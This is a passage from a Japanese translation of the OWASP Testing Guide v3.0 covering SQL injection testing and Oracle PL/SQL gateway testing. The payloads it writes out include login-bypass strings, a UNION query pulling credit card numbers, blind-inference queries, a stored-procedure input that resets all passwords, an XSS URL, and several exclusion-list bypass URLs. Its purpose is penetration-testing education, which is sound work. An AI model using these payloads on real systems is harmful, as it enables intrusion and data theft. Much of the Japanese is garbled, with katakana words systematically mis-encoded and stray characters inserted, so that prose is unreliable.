ケミヱト 記 号 を 持 っていますが、 大 半 のデーソプーシで 共 通 の 記 号 は/*です。Oracle では、 記 号 は「--」です。 以 上 のことより、<br />

Username と Password で 使 う 値 は8<br />

$username = 1' or '1' = '1'))/*<br />

$password = foo<br />

この 方 法 では、 次 のようなキウヨを 得 ます8<br />

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))<br />

URL ヨキウシトは 次 のようになります8<br />

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo<br />

これは、 複 数 の 値 を 返 します。 時 々、 認 証 のケードは 返 ってきた 値 の 組 合 せが 1 つであるかを 確 認 する 場 合 があります。 先<br />

ほどの 例 では、この 状牮 況 は 困 難 になります(デーソプーシ 内 ではヤーゴ 毎 に 1 つの 値 になります'。この 問 題 を 回 避遪 するた<br />

めに、 返 ってくる 組 合 せを 1 つの 状牮 況 に 強 制 する SQL ケボヱドを 挿 入 します。1 つのリケードを 返 すというゲーラに 到 遉 す<br />

るために、「LIMIT < 数 字 >」を 使 います。< 数 字 >には 返 したい 組 合 せの 数 が 入 ります。 先 ほどの 例 において、Username と<br />

Password の 値 を 次 のように 変 更 します8<br />

218


<strong>OWASP</strong> Testing Guide v3.0<br />

$username = 1' or '1' = '1')) LIMIT 1/*<br />

$password = foo<br />

この 方 法 では、 以 下 のようなヨキウシトを 作 成 します8<br />

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=fo<br />

o<br />

Union クエリアンヱジェクシュンヱのテステ<br />

UNION 演 算 子婡 を 使 った 他 のテシトです。この 演 算 子婡 は、SQL イヱザェキサュヱにおいてキウヨを 結 合 するために 使 わわれ、テシ<br />

ソーによって 意 図 的 に 偽 造造 したキウヨをエヨザナラのキウヨに 結 合 します。 偽 造造 されたキウヨの 結 果 は、エヨザナラのキウヨの<br />

結 果 と 結 合 され、テシソーが 他 のテーブラのフィーラド 値 を 取 得 することを 許 してしまいます。 例 として、コーバで 実 行 され<br />

るキウヨを 次 のように 仮 定 します8<br />

SELECT Name, Phone, Address FROM Users WHERE Id=$id<br />

id の 値 を 次 のようにスットします8<br />

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable<br />

次 のようなキウヨになります8<br />

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM<br />

CreditCarTable<br />

これは、エヨザナラのキウヨの 結 果 とすべてのキリザットォードヤーゴの 情 報 を 結 合 します。ALL というカーワロードが、<br />

DISTINCT カーワロードを 使 ったキウヨを 回 避遪 するために 必 要 となります。 加 えて、キリザットォード 番 号 以 外 の 2 つの 値 がある<br />

ことに 気 づきます。 文 法 ウョーを 避遪 けるために、2 つのキウヨのパョミーソ 数 は 同 じでなくてはならず、そのためには、これら<br />

2 つの 値 が 必 要 となります。<br />

ブラアンヱデ SQL アンヱジェクシュンヱのテステ<br />

SQL イヱザェキサュヱには、ブョイヱド SQL イヱザェキサュヱと 呼 ばれる、 操 作 の 結 果 では 何 も 分 からない、 別 のォテゲヨがある<br />

ことを 指 摘 しました。 例 えば、この 挙 動 はプルギョボーがキウヨの 構 造造 やデーソプーシの 情 報 を 一 切 取 得 されないようにォシ<br />

ソマのウョーヘーザを 作 成 している 場 合 に 起 こります(ヘーザは SQL ウョーを 返 さず、HTTP 500 を 返 すのみです'。<br />

推 論 の 方 法 を 使 うことで、この 障 害 を 回 避遪 することを 可 能 にし、 意 図 したフィーラド 値 の 復 元 に 成 功 します。この 方 法 は、コ<br />

ーバに 一 連連 の 真 偽 のキウヨを 実 行 することで 構 成 され、 回 答 を 観 察 し、 最 終 的 にそれら 回 答 の 意 味 を 推 論 します。いつもの<br />

ように www.example.com ドミイヱで、SQL イヱザェキサュヱに 脆 弱 な id という 名 前 のパョミーソを 持 つとします。これは、 次 の<br />

ようなヨキウシトを 実 行 することを 意 味 します8<br />

http://www.example.com/index.php?id=1'<br />

キウヨの 文 法 ウョーにより、ォシソマミッスーザウョーのヘーザが 戻 ります。コーバ 上 で 実 行 されるキウヨ8<br />

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'<br />

これは 先 ほど 見 た 方 法 で 攻 略 可 能 です。 取 得 したいのはユーザ 名 フィールドの 値 です。 実 行 するテストはユーザ<br />

名 フィールドの 値 を 取 得 できるもので、その 値 を 一 文 字 ずつ 抽 出 します。これは、ほとんどすべてのデータベー<br />

スに 存 在 するいくつかの 標 準 関 数 を 使 用 することで 可 能 になります。 例 えば、 以 下 の 擬 似 関 数 を 使 います:<br />

219


SUBSTRING (text、 start、 length): text の"start"の 位 置 から 開 始妵 して、" length "の 長 さまでの 部邪 分 を 返 します。もし"start"<br />

が text の 長 さより 大 きい 場 合 、 関 数 は NULL 値 を 返 します。<br />

ASCII (char): 入 力 した 文 字 の ASCII 値 を 返 します。char が 0 の 場 合 、NULL 値 が 返 ります。<br />

LENGTH (text): 入 力 した 文 字 列 の 長 さを 返 します。<br />

これらの 関 数 を 通 じて、1 番 目 の 文 字 に 対 してテシトを 実 行 し、 値 が 分 かった 場 合 、2 番 目 、3 番 目 へと 値 の 全 体 が 分 かるま<br />

で 移 動 します。テシトは、1 回 に 1 つの 文 字 を 選遥 択 するために SUBSTRING 関 数 をうまく 利 用 し、 数 値 の 比 較 ができるよう<br />

ASCII 値 を 取 得 するために ASCII 関 数 をうまく 利 用 します。 正 しい 値 が 見 つかるまで、アシカー 表 のすべての 値 で 比 較 をしま<br />

す。 例 として、 以 下 の id の 値 を 使 います8<br />

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1<br />

これは 以 下 のキウヨを 作 成 します( 以 降 では、これを 推 論 キウヨと 呼 びます'8<br />

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97<br />

AND '1'='1'<br />

先 ほどの 例 では、ヤーゴ 名 フィーラドの 最 初 の 文 字 が ASCII 値 で 97 の 場 合 のみ 結 果 を 返 します。もし、 偽 の 結 果 を 受 け 取<br />

った 場 合 は、アシカー 表 のイヱデッキシを 97 から 98 に 増 加 してヨキウシトを 繰 り 返 します。もし、 真 の 結 果 を 受 け 取 った 場 合<br />

は、アシカー 表 のイヱデッキシをズルに 設 定 し、SUBSTRING 関 数 のパョミーソを 変 更 して、 次 の 文 字 を 分 析 します。 問 題 は、<br />

真 の 値 を 返 すテシトと 偽 の 結 果 を 返 すテシトをどの 方 法 で 区 別 することができるかを 理 解 することです。これを 行 うために、<br />

常 に 偽 を 返 すキウヨを 作 成 します。これは 次 のような id の 値 を 使 うことで 可 能 になります8<br />

$Id=1' AND '1' = '2<br />

これは 以 下 のようなキウヨを 作 成 します8<br />

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'<br />

コーバから 得 られた 応 答 (HTML のケード'は、テシトにおいて 偽 の 値 になります。これは、 推 論 キウヨから 得 られた 値 が、 以<br />

前 実 行 されたテシトで 得 られた 値 と 等 しいかどうか 確 かめるには 十 分 です。 時 々、この 方 法 はうまくいきません。 コーバが 2<br />

つの 同 じ 連連 続 したヨキウシトの 結 果 、 異 なった 2 ヘーザを 返 すと、 偽 の 値 と 真 の 値 を 区 別 できません。 これら 特牐 殊 な 場 合 で<br />

は、2 つのヨキウシトの 間 で 変 化 するケードを 除 外 して、テヱプリートを 入 手 する 特牐 殊 なフィラソを 使 用 することが 必 要 です。<br />

後 ほど、 実 行 されたすべての 推 論 キウヨのために、 同 じ 機 能 を 使 用 して 応 答 から 相 対 的 なテヱプリートを 抽 出 します。そし<br />

て、テシトの 結 果 を 決 定 するために 2 つのテヱプリート 間 のケヱトルーラを 実 行 します。<br />

前 の 議 論 では、テシトのための 終 了 状牮 態 を 決 定 するという 問 題 に 対 処 していません、すなわわち、いつ 推 論 手 順 を 終 わわらせる<br />

べきであるか。これを 行 うためのテキニッキは SUBSTRING 関 数 と LENGTH 関 数 の 1 つの 特牐 性 を 使 用 します。 テシトが ASCII<br />

値 0(すなわわち、 値 の NULL 値 'と 現 在 の 文 字 を 比 べて、テシトが 真 の 値 を 返 すと、 推 論 手 順 を 終 了 したか( 文 字 列 の 全 体 を<br />

シカメヱした'、または 分 析 した 値 が NULL 文 字 を 含 んでいます。<br />

id フィーラドに 以 下 の 値 を 挿 入 します8<br />

$Id=1' AND LENGTH(username)=N AND '1' = '1<br />

N のところには、 今 まで 分 析 した 文 字 列 の 数 が 入 ります(NULL 値 を 含 まない 場 合 '。キウヨは8<br />

220


<strong>OWASP</strong> Testing Guide v3.0<br />

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'<br />

キウヨは 真 か 偽 を 返 します。 真 を 受 け 取 った 場 合 、 推 論 が 完媍 了 し、パョミーソの 値 が 分 かります。 偽 を 受 け 取 った 場 合 、パョ<br />

ミーソの 値 に NULL 文 字 が 存 在 することを 意 味 し、 次 の NULL 値 を 見 つけるまで 次 のパョミーソの 解 析 を 続 けます。<br />

ブョイヱド SQL イヱザェキサュヱ 攻 撃 は、 大 量 のキウヨを 必 要 とします。テシソーは 脆 弱 性 を 攻 略 するために 自 動 化 されたツ<br />

ーラが 必 要 となります。GET ヨキウシトでこのソシキを MySQL DB に 実 行 するためのサヱプラなツーラは、SqlDumper で 以 下<br />

に 示 します。<br />

ステアデプロシージメアンヱジェクシュンヱ<br />

質 問 8SQL イヱザェキサュヱのヨシキをどのように 除 去 することができますか?=<br />

回 答 8シトアドプルサーザメ<br />

この 回 答 を 何 回 も 何 回 も 見 ました。 単 純 なシトアドプルサーザメの 利 用 は SQL イヱザェキサュヱの 緩 和 に 役 立 ちません。 適遚 切<br />

に 扱 わわれていない 場 合 、シトアドプルサーザメ 内 の 動 的 SQL は、Web ヘーザ 内 の 動 的 SQL と 同 様 に SQL イヱザェキサュヱ<br />

に 対 して 脆 弱 になります。<br />

シトアドプルサーザメ 内 で 動 的 SQL を 利 用 する 場 合 、アプヨクーサュヱは、ケードイヱザェキサュヱのヨシキを 除 去 するために、<br />

ヤーゴ 入 力 を 適遚 切 にコニソイジする 必 要 があります。もし、コニソイジされなければ、ヤーゴはシトアドプルサーザメ 内 で 実<br />

行 される 不 正 な SQL を 入 力 することができます。<br />

ブョッキペッキシテシトはサシテマを 侵 害 するための SQL イヱザェキサュヱを 使 用 します。<br />

以 下 の SQL Server のシトアドプルサーザメを 考 えます8<br />

Create procedure user_login @username varchar(20), @passwd varchar(20) As<br />

Declare @sqlstring varchar(250)<br />

Set @sqlstring = ‘<br />

Select 1 from users<br />

Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd<br />

exec(@sqlstring)<br />

Go<br />

221


ヤーゴ 入 力 8<br />

anyusername or 1=1'<br />

anypassword<br />

このプルサーザメは 入 力 をコニソイジしません。したがって、これらのパョミーソによって 存 在 するリケードを 表 示 させるため<br />

の 値 を 返 すことを 許 します。<br />

注 意 8この 例 では、ヤーゴをルギイヱさせるために 動 的 SQL が 使 用 されているため、ありえそうになく 見 えます。しかし、 閲 覧<br />

する 列 をヤーゴが 選遥 択 する 動 的 リホートのキウヨを 考 えます。ヤーゴは 不 正 なケードをこのサナヨエに 挿 入 し、デーソを 侵 害<br />

する 可 能 性 があります。<br />

以 下 の SQL Server のシトアドプルサーザメを 考 えます8<br />

Create procedure get_report @columnamelist varchar(7900) As<br />

Declare @sqlstring varchar(8000)<br />

Set @sqlstring = ‘<br />

Select ‘ + @columnamelist + ‘ from ReportTable‘<br />

exec(@sqlstring)<br />

Go<br />

ヤーゴ 入 力 8<br />

1 from users; update users set password = 'password'; select *<br />

これは、 結 果 として、リホートが 実 行 され、すべてのヤーゴのパシワロードが 更 新 されます。<br />

関 連 する 記 事<br />

• Top 10 2007-Injection Flaws<br />

• SQL Injection<br />

テキノルザ 固 有 のテシトオイドは、 以 下 の DBMS 向 けに 作 成 されています8<br />

• 4.8.5.1 Oracle Testing<br />

• 4.8.5.2 MySQL Testing<br />

• 4.8.5.3 SQL Server Testing<br />

• 4.8.5.4 MS Access Testing<br />

• 4.8.5.5 Testing PostgreSQL<br />

関 連 資 料<br />

ホワロアテペーパー<br />

• Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt<br />

222


<strong>OWASP</strong> Testing Guide v3.0<br />

• Chris Anley: "Advanced SQL Injection In SQL Server Applications" -<br />

http://www.nextgenss.com/papers/advanced_sql_injection.pdf<br />

• Chris Anley: "More Advanced SQL Injection" - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf<br />

• David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf<br />

• Kevin Spett: "SQL Injection" - http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf<br />

• Kevin Spett: "Blind SQL Injection" - http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf<br />

• Imperva: "Blind SQL Injection" -<br />

http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html<br />

• Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/<br />

ヂール<br />

• <strong>OWASP</strong> SQLiX<br />

• Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector]<br />

• ilo--: MySql Blind Injection Bruteforcing, Reversing.org - [sqlbftools]<br />

• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net<br />

• Antonio Parata: Dump Files by SQL inference on Mysql - [SqlDumper]<br />

• icesurfer: SQL Server Takeover Tool - [sqlninja]<br />

4.8.5.1 ORACLE のテステ<br />

概 要<br />

この 章 では、Web からの Oracle デーソプーシのテシト 方 法 について 記 述 しています。<br />

脆 弱 性 の 解 説<br />

Web プーシの PL/SQL アプヨクーサュヱは、PL/SQL グートウェイ(Web ヨキウシトをデーソプーシキウヨに 変 換 するケヱホーネ<br />

ヱト'によって 可 能 になります。Oracle は、 初 期 の Web ヨシナー 製 品 から Apache mod_plsql ムザャーラ、XML Database<br />

(XDB)ウェブコーバにまで 及 ぶ、 多 くのセフトウェアを 開 発 しています。すべてにおいて 個 々の 癖 と 問 題 を 持 っており、この 文<br />

書 ではそれぞれ 十 分 に 調 査 されています。PL/SQL グートウェイを 使 っている 製 品 には、Oracle HTTP Server、eBusiness<br />

Suite、Portal、HTMLDB、WebDB と Oracle Application Server がありますが、これだけに 限 りません。<br />

223


ブラチクボチクステステとその 例<br />

PL/SQL グーテウェアがどのように 動 作 するかを 理 解 する<br />

基 本 的 に、PL/SQL グートウェイは 単 純 にプルカサコーバとして 動 作 し、ヤーゴの Web ヨキウシトを 取 得 し、それが 実 行 され<br />

るデーソプーシコーバに 渡 します。<br />

1) ウェブコーバは Web キョイアヱトからヨキウシトを 受 け 入 れ、PL/SQL グートウェイで 処 理 すべきかどうかを 決 定 します。<br />

2) PL/SQL グートウェイがヨキウシトされたパックーザ 名 、プルサーザメ、 変 数 を 取 り 出 して、ヨキウシトを 処 理 します。<br />

3) ヨキウシトされたパックーザとプルサーザメは 匿 名 の PL/SQL でョップされ、デーソプーシコーバに 送 信 されます。<br />

4) デーソプーシコーバはプルサーザメを 実 行 し、 結 果 を HTML としてグートウェイに 返 信 します。<br />

5) グートウェイはウェブコーバ 経 由 でキョイアヱトに 応 答 を 返 信 します。<br />

PL/SQL ケードはウェブコーバ 上 には 存 在 せず、デーソプーシコーバ 上 に 存 在 することを 理 解 することが 重 要 です。これは、<br />

PL/SQL グートウェイの 何 らかの 弱 点 、あるいは、PL/SQL アプヨクーサュヱの 何 らかの 弱 点 が 攻 略 された 場 合 、 攻 撃 者 にデー<br />

ソプーシコーバへの 直 接 的 なアキスシを 与 えてしまいます。ファイアウェーラはまったく 防 御 してくれません。<br />

PL/SQL ウェブアプヨクーサュヱの URL は、 通 常 、 簡 単 に 見 分 けがつき、 大 抵 の 場 合 、 以 下 のように 始妵 まります(xyz は 何 らか<br />

の 文 字 で、デーソプーシアキスシディシキヨプソを 意 味 します。 詳 しくは 後 ほど 説 明 します'8<br />

http://www.example.com/pls/xyz<br />

http://www.example.com/xyz/owa<br />

http://www.example.com/xyz/plsql<br />

これらの 例 の 2 番 目 と 3 番 目 が 古 いバーザュヱの PL/SQL グートウェイの URL を 示 しているのに 対 して、1 番 目 のものは、 最<br />

新 バーザュヱの Apache で 動 作 していることを 示 しています。plsql.conf という Apache の 設 定 ファイラにおいて、/pls がデフ<br />

ェラト 値 として、PLS ムザャーラのハヱドョとして Location に 指 定 されています。しかし、 場 所 は/pls である 必 要 はありません。<br />

URL において、ファイラ 拡 張 子婡 が 欠 如 していることは Oracle PL/SQL グートウェイの 存 在 を 示 すかも 知 れません。 以 下 の URL<br />

を 考 えてみます8<br />

http://www.server.com/aaa/bbb/xxxxx.yyyyy<br />

"ebank.home"、"store.welcome"、"auth.login"、または"books.search"などに 似 たやり 方 で、xxxxx.yyyyy を 置 き 換 えていれ<br />

ば、PL/SQL グートウェイが 使 用 されている 可 能 性 がかなり 強 いです。また、ヨキウシトされたパックーザとプルサーザメに 先 行<br />

する 名 前 がそれを 所 有 するヤーゴである 可 能 性 があります。それはすなわわちシカーボで、このクーシではヤーゴは<br />

「webuser」になります8<br />

http://www.server.com/pls/xyz/webuser.pkg.proc<br />

この URL では、xyz はデーソプーシアキスシディシキヨプソ(DAD'です。DAD は、PL/SQL グートウェイが 接 続 できるようにデ<br />

ーソプーシコーバに 関 する 情 報 が 指 定 されています。それは、TNS ケネキサュヱシトヨヱギやヤーゴ ID、パシワロード、 認 証 方<br />

法 などといった 情 報 が 含 まれています。これら DAD は、 最 新 のバーザュヱでは dads.conf という Apache の 設 定 ファイラに<br />

記 述 され、 古 いバーザュヱでは wdbsvr.app というファイラになります。いくつかのデフェラトの DAD には 以 下 が 含 まれま<br />

す8<br />

SIMPLEDAD<br />

HTMLDB<br />

224


<strong>OWASP</strong> Testing Guide v3.0<br />

ORASSO<br />

SSODAD<br />

PORTAL<br />

PORTAL2<br />

PORTAL30<br />

PORTAL30_SSO<br />

TEST<br />

DAD<br />

APP<br />

ONLINE<br />

DB<br />

OWA<br />

PL/SQL グーテウェアが 稼 動 しているか 判 定 する<br />

コーバに 対 する 評 価 を 実 行 するとき、 実 際 にどのような 技 術 を 扱 おうとしているかを 最 初 に 知 ることが 重 要 です。まだよく 分<br />

かってない 場 合 、ブョッキペッキシの 評 価 においては、これを 解 決 することが 優 先 事 項 です。Web プーシの PL/SQL アプヨク<br />

ーサュヱを 認 識 することは 非 常 に 簡 単 です。 最 初 に、URL の 形 式 があり、 上 記 で 述 べたような 見 え 方 をしています。その 上 、<br />

PL/SQL グートウェイの 存 在 確 認 を 実 行 するための 一 連連 の 単 純 なテシトがあります。<br />

サーバレスポンヱスヘチダ<br />

ウェブコーバのリシホヱシブッゾは、PL/SQL グートウェイが 稼 動 しているかどうかを 判 断 する 良 い 材 料 です。 以 下 の 表 は 典<br />

型 的 なコーバリシホヱシブッゾのヨシトです。<br />

Oracle-Application-Server-10g<br />

Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server<br />

Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server<br />

Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)<br />

Oracle-Application-Server-10g/9.0.4.0.0<br />

Oracle HTTP Server Powered by Apache<br />

Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a<br />

Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d<br />

Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e<br />

Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e<br />

Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c<br />

Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b<br />

Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0<br />

Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition<br />

Oracle_Web_Listener/4.0.8.2EnterpriseEdition<br />

Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition<br />

Oracle_Web_listener3.0.2.0.0/2.14FC1<br />

Oracle9iAS/9.0.2 Oracle HTTP Server<br />

Oracle9iAS/9.0.3.1 Oracle HTTP Server<br />

NULL のテステ<br />

PL/SQL において、"null"は 完媍 全 に 許 容 された 表 現 です8<br />

SQL> BEGIN<br />

2 NULL;<br />

3 END;<br />

4 /<br />

PL/SQL procedure successfully completed.<br />

これはコーバで PL/SQL グートウェイが 稼 動 しているかを 確 認 することに 使 えます。 単 純 に、DAD に NULL を 追 加 し、 次 に<br />

NOSUCHPROC を 追 加 します8<br />

http://www.example.com/pls/dad/null<br />

http://www.example.com/pls/dad/nosuchproc<br />

225


最 初 にコーバが 200 OK で 応 答 し、 次 に 404 Not Found で 応 答 した 場 合 、コーバで PL/SQL グートウェイが 稼 動 しているこ<br />

とを 意 味 します。<br />

既 知 のパチクージへのアクスス<br />

古 いバーザュヱの PL/SQL グートウェイにおいては、OWA や HTP パックーザなどといった PL/SQL Web ツーラカットからパッ<br />

クーザへ 直 接 アキスシできる 可 能 性 があります。これらのパックーザの 一 つが OWA_UTIL パックーザで、これについては 後<br />

述 します。このパックーザは、SIGNATURE と 呼 ばれるプルサーザメを 含 んでおり、それは、 単 純 に PL/SQL のサギネタメを<br />

HTML で 出 力 します。ヨキウシトはこのようになります8<br />

http://www.example.com/pls/dad/owa_util.signature<br />

次 のような 出 力 を Web ヘーザで 返 します8<br />

"This page was produced by the PL/SQL Web Toolkit on date"<br />

または<br />

"This page was produced by the PL/SQL Cartridge on date"<br />

もしこの 応 答 を 受 け 取 らず、403 Forbidden の 応 答 だった 場 合 は、PL/SQL グートウェイが 稼 動 していることを 推 察 することが<br />

できます。これは、 新 しいバーザュヱやパッタが 適遚 用 されたサシテマの 応 答 です。<br />

データベースの 任 意 の PL/SQL パチクージにアクススする<br />

デーソプーシコーバにデフェラトでイヱシトーラされた PL/SQL パックーザの 脆 弱 性 を 攻 略 できる 可 能 性 があります。しかし<br />

それは PL/SQL グートウェイのバーザュヱに 依 存 します。 初 期 のバーザュヱの PL/SQL グートウェイはデーソプーシコーバの<br />

任 意 の PL/SQL パックーザに 攻 撃 者 がアキスシすることを 止 める 術 がありませんでした。OWA_UTIL パックーザについては<br />

既 に 述 べました。これは 任 意 の SQL キウヨを 実 行 することに 使 えます8<br />

http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS<br />

キルシコイトシキヨプティヱギ 攻 撃 を HTP パックーザに 対 して 実 行 できます8<br />

http://www.example.com/pls/dad/HTP.PRINT?CBUF=alert('XSS')<br />

明 らかにこれは 危 険 です。したがって、Oracle はそのような 危 険 なプルサーザメへの 直 接 アキスシを 防 ぐために PLSQL 除 外<br />

ヨシトを 導 入 しました。 禁 止 されたのは、SYS.*で 始妵 まるすべてのヨキウシト、DBMS_*で 始妵 まるすべてのヨキウシト、HTP.*と<br />

OWA*のすべてのヨキウシトです。しかし、 除 外 形 式 のヨシトは 迂 回 される 可 能 性 があります。その 上 、 除 外 ヨシトは CTXSYS や<br />

MDSYS、その 他 のパックーザへのアキスシを 防 止 しませんので、これらのパックーザの 不 具 合 を 攻 略 できる 可 能 性 がありま<br />

す8<br />

http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL<br />

これは、デーソプーシコーバがまだこの 不 具 合 (CVE-2006-0265'に 対 して 脆 弱 であった 場 合 、200 OK の 応 答 でブョヱキの<br />

HTML ヘーザを 返 します。<br />

PL/SQL グーテウェアの 不 具 合 をテステする<br />

何 年 もの 間 、Oracle PL/SQL グートウェイは、 多 数 の 不 具 合 に 苦 しんでいました。その 不 具 合 には、 管 理 画 面 へのアキスシ<br />

(CVE-2002-0561'、バッファエーバーフルー(CVE-2002-0559'、ディリキトヨトョバーコラのバギ、 攻 撃 者 に 除 外 ヨシトを 迂 回<br />

してアキスシされデーソプーシコーバの 任 意 の PL/SQL パックーザを 実 行 される 脆 弱 性 が 含 まれます。<br />

226


<strong>OWASP</strong> Testing Guide v3.0<br />

PL/SQL 除 外 リステの 迂 回<br />

信 じられないほどの 回 数 、Oracle は 攻 撃 者 が 除 外 ヨシトを 迂 回 する 不 具 合 を 修 正 してきました。Oracle が 開 発 したパッタの<br />

いずれも 新 しい 迂 回 のテキニッキに 陥 落 しました。この 残 念 な 話 の 歴 史 はここにあります8<br />

http://seclists.org/fulldisclosure/2006/Feb/0011.html<br />

PL/SQL 除 外 リステの 迂 回 - 方 法 1<br />

Oracle が 最 初 に PL/SQL 除 外 ヨシトによる 攻 撃 者 からの 任 意 の PL/SQL パックーザへのアキスシ 防 止 を 導 入 した 際 、シカーボ<br />

/パックーザの 名 前 に 16 進逭 数 で 改 行 ケードやシヘーシ、ソブ 文 字 を 挿 入 するという 単 純 な 迂 回 が 可 能 でした8<br />

http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC<br />

http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC<br />

http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC<br />

PL/SQL 除 外 リステの 迂 回 - 方 法 2<br />

グートウェイの 後 のバーザュヱでは、シカーボ/パックーザの 名 前 にョプラを 挿 入 することで、 攻 撃 者 が 除 外 ヨシトを 迂 回 する<br />

ことができました。PL/SQL では、ョプラはケードの 行 をホイヱトし、GOTO 文 でザメヱプすることができます。ョプラは、<br />

の 形 式 になります。<br />

http://www.example.com/pls/dad/SYS.PACKAGE.PROC<br />

PL/SQL 除 外 リステの 迂 回 - 方 法 3<br />

単 純 にシカーボ/パックーザの 名 前 をゾブラキエートで 囲 むだけで 攻 撃 者 は 除 外 ヨシトを 迂 回 できます。 注 意 すべきは、この<br />

方 法 は、Oracle Application Server 10g では、デーソプーシコーバに 送 信 される 前 にヤーゴのヨキウシトが 小 文 字 に 変 換 さ<br />

れ、クーシスヱサティブ("SYS"と"sys"は 異 なる'で 扱 わわれるため、ヨキウシトは 404 Not Found となって、うまくいきません。 初<br />

期 のバーザュヱでは、 以 下 により 除 外 ヨシトを 迂 回 できます8<br />

http://www.example.com/pls/dad/"SYS".PACKAGE.PROC<br />

PL/SQL 除 外 リステの 迂 回 - 方 法 4<br />

ウェブコーバで 使 用 されている 文 字 スットによって、デーソプーシコーバのいくつかの 文 字 は 変 換 されます。 使 っている 文<br />

字 スットによって"ÿ"(0xFF)という 文 字 はデーソプーシコーバで"Y"に 変 換 される 可 能 性 があります。 他 の 文 字 でよく 大 文 字<br />

"Y"に 変 換 されるのは 長 音 符 号 - 0xAF です。これは 攻 撃 者 に 除 外 ヨシトの 迂 回 を 許 すかも 知 れません8<br />

http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC<br />

http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC<br />

PL/SQL 除 外 リステの 迂 回 - 方 法 5<br />

いくつかのバーザュヱの PL/SQL グートウェイは、バッキショッサャ - 0x5C で 除 外 ヨシトを 迂 回 する 可 能 性 があります8<br />

http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC<br />

PL/SQL 除 外 リステの 迂 回 - 方 法 6<br />

これがもっとも 複 雑 な 方 法 による 除 外 ヨシトの 迂 回 であり、 最 新 の 方 法 です。 以 下 のようにヨキウシトすると<br />

http://www.example.com/pls/dad/foo.bar?xyz=123<br />

アプヨクーサュヱコーバは、デーソプーシコーバで 以 下 を 実 行 します8<br />

1 declare<br />

2 rc__ number;<br />

3 start_time__ binary_integer;<br />

4 simple_list__ owa_util.vc_arr;<br />

227


5 complex_list__ owa_util.vc_arr;<br />

6 begin<br />

7 start_time__ := dbms_utility.get_time;<br />

8 owa.init_cgi_env(:n__,:nm__,:v__);<br />

9 htp.HTBUF_LEN := 255;<br />

10 null;<br />

11 null;<br />

12 simple_list__(1) := 'sys.%';<br />

13 simple_list__(2) := 'dbms\_%';<br />

14 simple_list__(3) := 'utl\_%';<br />

15 simple_list__(4) := 'owa\_%';<br />

16 simple_list__(5) := 'owa.%';<br />

17 simple_list__(6) := 'htp.%';<br />

18 simple_list__(7) := 'htf.%';<br />

19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then<br />

20 rc__ := 2;<br />

21 else<br />

22 null;<br />

23 orasso.wpg_session.init();<br />

24 foo.bar(XYZ=>:XYZ);<br />

25 if (wpg_docload.is_file_download) then<br />

26 rc__ := 1;<br />

27 wpg_docload.get_download_file(:doc_info);<br />

28 orasso.wpg_session.deinit();<br />

29 null;<br />

30 null;<br />

31 commit;<br />

32 else<br />

33 rc__ := 0;<br />

34 orasso.wpg_session.deinit();<br />

35 null;<br />

36 null;<br />

37 commit;<br />

38 owa.get_page(:data__,:ndata__);<br />

39 end if;<br />

40 end if;<br />

41 :rc__ := rc__;<br />

42 :db_proc_time__ := dbms_utility.get_time—start_time__;<br />

43 end;<br />

19 行 目 と 24 行 目 に 着 目 します。19 行 目 では、ヤーゴのヨキウシトが 既 知 の 悪 い 文 字 列 ( 除 外 ヨシト'に 対 してタェッキされ<br />

ます。もしヤーゴがパックーザとプルサーザメを 悪 い 文 字 を 含 まずにヨキウシトした 場 合 、プルサーザメは 24 行 目 で 実 行 され<br />

ます。XYZ パョミーソは、バイヱド 変 数 として 渡 されます。<br />

以 下 をヨキウシトすると8<br />

http://server.example.com/pls/dad/INJECT'POINT<br />

以 下 の PL/SQL が 実 行 されます8<br />

..<br />

